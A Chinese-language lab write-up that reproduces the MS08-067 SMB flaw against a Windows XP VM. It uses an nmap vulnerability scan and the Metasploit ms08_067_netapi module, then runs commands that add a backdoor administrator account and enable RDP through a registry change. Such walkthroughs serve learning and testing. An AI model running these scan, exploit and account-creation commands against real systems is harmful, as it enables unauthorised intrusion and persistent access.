MS08-067漏洞复现

漏洞简介

1
2
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
--摘自freebuf《MS08-067漏洞原理及详尽分析过程》

这是一个十多年前的漏洞,MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。SMB(server massage block)在windows操作系统中是默认在139/445端口开放的,该协议主要用来共享文件等。基于该协议的漏洞也有不少,当然,ms08067是最有名的一个。

环境准备

1
2
3
攻击机:kali
靶机:window xp sp3 (English)
win7:用于远程连接

对于靶机,一开始我用的是Windows server 2003 中文版。nmap扫描发现有该漏洞,但是用msf获取shell却一直失败。后来查资料发现,Windows server 2003 中文版的payload需要稍作修改。简单起见,我换了win xp sp3,最后成功获取shell。

漏洞检测

搭好环境后,进行主机发现,靶机ip:192.168.202.137

nmap扫描,查看开放哪些端口,发现139、445都开放

继续nmap扫描,判断MS08067漏洞是否存在

1
nmap --script=smb-vuln-*.nse --script-args=unsafe=1 192.168.202.137

发现存在ms08-067漏洞,接下来用msf进行攻击

漏洞攻击

打开msfconsole,查找该漏洞利用框架

use exploit/windows/smb/ms08_067_netapi,然后选择payload

show options查看参数,接下来设置参数

1
2
rhost:靶机ip
lhost:攻击机ip

exploit

成功获取shell,接下来提权,步骤如下:

1、添加新用户

1
net user kangel 2314838574 /add

2、添加新用户到管理员组

1
net localgroup administrators kangel /add

3、开放3389端口进行远程连接

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

查看端口

用win7进行远程连接,首先检查能否ping通

进行远程连接

成功!

-------------本文结束感谢您的阅读-------------